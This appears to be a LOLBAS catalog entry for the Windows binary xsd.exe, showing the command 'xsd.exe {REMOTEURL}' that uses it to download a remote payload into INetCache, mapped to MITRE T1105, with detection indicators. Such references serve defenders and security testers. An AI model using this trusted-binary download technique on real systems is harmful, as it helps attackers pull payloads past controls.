Catalog LOLBAS

LOL · OtherMSBinary

xsd.exe

1 technique WindowsLOLBAS GPL-3.0

Download

File Download Windows

Downloads payload from remote server

Use It will download a remote payload and place it in INetCache

xsd.exe {REMOTEURL}
Context
user
Native
Download
MITRE
T1105
Detection
IOC: URL on a xsd.exe command line
IOC: xsd.exe making unexpected network connections or DNS requests